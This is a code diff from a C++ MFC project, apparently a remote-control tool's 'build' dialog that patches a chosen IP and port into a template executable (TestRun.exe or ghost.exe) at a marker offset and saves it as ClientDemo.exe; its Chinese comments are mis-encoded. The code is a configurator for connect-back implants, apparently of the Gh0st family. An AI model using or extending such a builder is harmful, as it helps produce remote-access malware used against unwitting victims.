g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
@@ -67,12 +75,12 @@ void CBuildDlg::OnBnClickedOk()
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p+1, "TestRun.exe");
strcpy(p+1, file.GetString());
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
if (_access(path, 0) == -1)
{
MessageBox(CString(path)+"\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
return CDialog::OnOK();
}
@@ -88,11 +96,21 @@ void CBuildDlg::OnBnClickedOk()
File.Close();
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
if (iOffset==-1)
{
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
return;
}
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
//<2F><><EFBFBD><EFBFBD>ļ<EFBFBD>
strcpy(p+1, "ClientDemo.exe");
strSeverFile = path;
File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
DeleteFileA(path);
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
if (!r) {
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
return CDialog::OnOK();
}
File.Write(szBuffer,dwFileSize);
File.Close();
delete[] szBuffer;
@@ -123,8 +141,22 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
for (i = 0; i < iBufferSize; ++i)
{
for (j = 0; j < iKeySize; j ++)
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
if (szBuffer[i+j] != Key[j]) break;
if (j == iKeySize) return i;
}
return -1;
}
BOOL CBuildDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
m_ComboExe.InsertString(0, "TestRun.exe");
m_ComboExe.InsertString(1, "ghost.exe");
m_ComboExe.SetCurSel(0);
return TRUE; // return TRUE unless you set the focus to a control
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
}

View File

@@ -22,4 +22,6 @@ public:
CString m_strIP;
CString m_strPort;
afx_msg void OnBnClickedOk();
virtual BOOL OnInitDialog();
CComboBox m_ComboExe;
};

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 774 B

Binary file not shown.